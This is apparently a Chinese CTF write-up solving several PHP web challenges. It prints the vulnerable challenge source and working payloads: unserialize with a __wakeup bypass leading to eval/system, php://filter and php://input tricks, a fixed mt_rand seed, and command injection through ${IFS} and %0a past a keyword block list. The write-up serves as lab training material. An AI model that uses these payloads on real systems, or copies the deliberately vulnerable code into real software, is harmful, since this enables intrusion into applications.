i春秋网络内生安全试验场CTF夺旗赛(第四季) WEB wp

web

nani

打开网站什么都没有,查看源代码

i春秋网络内生安全试验场CTF夺旗赛(第四季)部分wp

点击链接,继续查看源代码

i春秋网络内生安全试验场CTF夺旗赛(第四季)部分wp

php://filter伪协议读取user.php源码

i春秋网络内生安全试验场CTF夺旗赛(第四季)部分wp

i春秋网络内生安全试验场CTF夺旗赛(第四季)部分wp

反序列化可以命令执行,但是需要绕过wakeup,因为wakeup会把命令清空,利用CVE-2016-7124即可绕过

先构造反序列化脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class convent{
var $warn = "No hacker.";
function __destruct(){
eval($this->warn);
}
function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
}
$cmd = $_POST[cmd];
unserialize($cmd);


$exp = new convent();
$exp -> warn = "system('ls');";
$s = serialize($exp);


print_r($s);

#O:7:"convent":1:{s:4:"warn";s:13:"system('ls');";}

payload:O:7:"convent":15:{s:4:"warn";s:13:"system('ls');";}

i春秋网络内生安全试验场CTF夺旗赛(第四季)部分wp

执行之后出现一个txt,访问就是flag。

random

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
show_source(__FILE__);
include "flag.php";
$a = @$_REQUEST['hello'];
$seed = @$_REQUEST['seed'];
$key = @$_REQUEST['key'];

mt_srand($seed);
$true_key = mt_rand();
if ($key == $true_key){
echo "Key Confirm";
}
else{
die("Key Error");
}
eval( "var_dump($a);");
?>

代码的意思是可以传入三个参数hello seed key

ssed作为mt_srand的形参,最终成为$true_key的组成部分

key作为$key

hello作为$a,若是能成功绕过,可以被执行

拿下来本地跑一下
$true_key = mt_rand();后面加一个echo $true_key;
看看这个$true_key是不是固定的

发现seed恒为1的时候$true_key恒为1244335972

i春秋网络内生安全试验场CTF夺旗赛(第四季)部分wp

直接构造&seed=1&key=1244335972就可以绕过

然后命令执行就可以了

i春秋网络内生安全试验场CTF夺旗赛(第四季)部分wp

admin

查看源代码

i春秋网络内生安全试验场CTF夺旗赛(第四季)部分wp

1
2
3
4
5
6
7
8
9
10
11
12
13
you are not admin ! <br/>hava a rest and then change your choose. 
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
-->

传三个参数user file pass

user等于admin的时候才能包含class.php

利用file_get_contents读取php://input数据流

i春秋网络内生安全试验场CTF夺旗赛(第四季)部分wp

绕过第一层检测

用filter伪协议读取class.php源码

i春秋网络内生安全试验场CTF夺旗赛(第四季)部分wp

解码base64

i春秋网络内生安全试验场CTF夺旗赛(第四季)部分wp

猜测flag在fffffflag.php中

反序列化回去就能读到了

1
2
3
4
5
6
7
8
9
10
<?php
class Read{
public $file;
}

$payload = new Read();
$payload->file = 'fffffflag.php';
echo serialize($payload);

#O:4:"Read":1:{s:4:"file";s:13:"fffffflag.php";}

就剩pass一个参数了

i春秋网络内生安全试验场CTF夺旗赛(第四季)部分wp

post1

感觉有点脑洞

查看源码

1
2
3
4
POST[a] 这次我们玩过滤好了。
<!--
eval(system($c));//read flag.txt But no cat!!!
-->

过滤了好多查看文件内容的命令
要用cut命令看flag.txt

Linux cut命令用于显示每行从开头算起 num1 到 num2 的文字。

-b :以字节为单位进行分割。这些字节位置将忽略多字节字符边界,除非也指定了 -n 标志。

也过滤了空格 用${IFS}代替

i春秋网络内生安全试验场CTF夺旗赛(第四季)部分wp

附上题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
echo "POST[a] 这次我们玩过滤好了。";
$b = $_POST['a'];
if (strpos($b,'cut') === false && isset($b)){
die("没抓到重点");
}
if (strpos($b,' ') !== false){
die("危险");
}
if (strpos($b,'|') !== false){
die("危险");
}
if (strpos($b,'&') !== false){
die("危险");
}
if (strpos($b,';') !== false){
die("危险");
}
if (strpos($b,'>') !== false){
die("危险");
}
if (strpos($b,'<') !== false){
die("危险");
}
if (strpos($b,'/') !== false){
die("危险");
}
if (strpos($b,'ls') !== false){
die("你挺能绕的...但不是这个意思啊...");
}
if (strpos($b,'cat') !== false){
die("你挺能绕的...但不是这个意思啊...");
}
if (strpos($b,'rm') !== false){
die("你挺能绕的...但不是这个意思啊...");
}
if (strpos($b,'whoami') !== false){
die("你挺能绕的...但不是这个意思啊...");
}
if (strpos($b,'mv') !== false){
die("你挺能绕的...但不是这个意思啊...");
}
if (strpos($b,'id') !== false){
die("你挺能绕的...但不是这个意思啊...");
}
$c = str_replace("flag.txt","pNHYVfirTGWAIygv.txt",$b);
eval(system($c));
?>

<!--
eval(system($c));//read flag.txt But no cat!!!
-->

<!--
eval(system($c));//read flag.txt But no cat!!!
-->

ping

右键查看源代码

数组绕过+伪协议读取源码

i春秋网络内生安全试验场CTF夺旗赛(第四季)部分wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
index.php:

<?php
echo "There is a ping.php";
$password="ACmvXfSFUayohrLB";
if(isset($_POST['password'])){
if (strcmp($_POST['password'],$password) == 0) {
echo "Right!!!login success";
include($_REQUEST['path']);
exit();
}
else{
echo "Wrong password..";
}
}
?>

<!--
$password="****************";
if(isset($_POST['password'])){
if (strcmp($_POST['password'], $password) == 0) {
echo "Right!!!login success";
include($_REQUEST['path']);
exit();
} else {
echo "Wrong password..";
}
-->


ping.php:

<?php
if(isset($_REQUEST[ 'ip' ])) {
$target = trim($_REQUEST[ 'ip' ]);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );
echo $target;
echo "<pre>{$cmd}</pre>";
}

ping命令注入,过滤了很多字符

直接用回车符%0a绕过然后命令执行看到flag
i春秋网络内生安全试验场CTF夺旗赛(第四季)部分wp

post2

根据post1 cut出来的源码

1
str_replace("flag.txt","pNHYVfirTGWAIygv.txt",$b);

直接访问flag